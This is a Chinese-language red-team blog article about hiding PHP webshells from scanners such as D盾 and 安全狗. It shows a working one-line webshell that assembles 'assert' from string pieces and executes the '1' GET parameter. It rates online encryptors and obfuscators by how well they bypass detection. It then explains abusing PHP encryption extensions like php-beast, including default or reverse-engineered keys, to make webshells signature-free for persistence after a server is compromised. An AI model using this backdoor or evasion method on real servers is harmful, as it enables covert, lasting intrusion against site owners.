以下文章来源于红队蓝军 ,作者naihe567
这里是利用phpjiami网站进行加密,进而达到加密效果
https://www.phpjiami.com/
加密前:
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_GET["1"]);
?>
查杀效果
可以看到这里D某和某狗都查杀
里用php加密后效果
查杀效果
可以看到这里只有D某会显示加密脚本,而某狗直接绕过
http://dezend.qiling.org/encrypt.html
免杀效果
可以看到dezend加密的特征还是太过明显
https://z5encrypt.com/encrypt/build
工具下载
https://github.com/naneau/php-obfuscator
在线工具
https://www.phpobfuscator.cn/
不太行
工具下载
https://github.com/pk-fr/yakpro-po
在线工具
https://www.php-obfuscator.com/?demo
免杀效果
并不太行
http://www.phpjm.net/encode.html
加密后效果
免杀效果
工具下载
https://shell.virbox.com/apply.html
加密后效果
Virbox已经属于是商业源码加密,基本上没有任何特征
但是由于这个是需要将生成好的php-cqi.exe原有的php-cqi.exe才能达到解密的效果,因此只能说作为一个权限维持的方式,先拿到权限后,修改php-cqi.exe,在上这种加密马,作为一个权限维持
加密过程:
https://baijiahao.baidu.com/s?id=1671004157804653895&wfr=spider&for=pc
免杀效果
以上总结了webshell加密的工具,其实在非扩展的加密工具中,其原理很多就是混淆变量名和函数名,类名,命名空间等等,可以配合多个加密工具进行多种加密,当然也可以和之前文章的免杀进行结合
由于很多企业为了防止源码泄露,都会使用加密扩展将代码进行加密,那么我们就可以就将计就计,将webshell也利用扩展加密,将特征消除,从而达到免杀的效果
扩展地址
https://github.com/liexusong/php-beast
https://github.com/imaben/php-beast-binaries
下载dll,并添加至ext中
在php.ini 中添加该扩展
修改configure.ini
; source path
src_path = "C:/Users/12107/Desktop/demo/"; destination path
dst_path = "C:/Users/12107/Desktop/demo2/"
; expire time
expire = "2021-09-08 17:01:20"
; encrypt type
encrypt_type = "AES"
当然也可以不使用默认密钥
在aes_algo_handler.c中可以修改默认密钥
当然如果没有密钥其实是无法生成一个能被解析的php文件,因此还需要通过逆向获取dll中的密钥
破解参考:
http://www.phpheidong.com/blog/article/337644/71c2cabcc769f99d7808/
环境搭建
https://blog.oioweb.cn/64.html
https://newsn.net/say/php-screw-plus.html
破解参考:
https://www.cnblogs.com/StudyCat/p/11268399.html
基于扩展的免杀,如果知道密钥,经加密后的webshell是不具备任何特征的,基本上直接通杀。
具体步骤通过phpinfo获取扩展信息,根据不同的加密扩展进行尝试利用默认密钥进行加密,通过访问webshell来判断密钥是否正确,当然,这种方法其实只能用于权限维持需要拿到权限后获取扩展文件破解后,才能稳定获取密钥,进而加密webshell
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/184357.html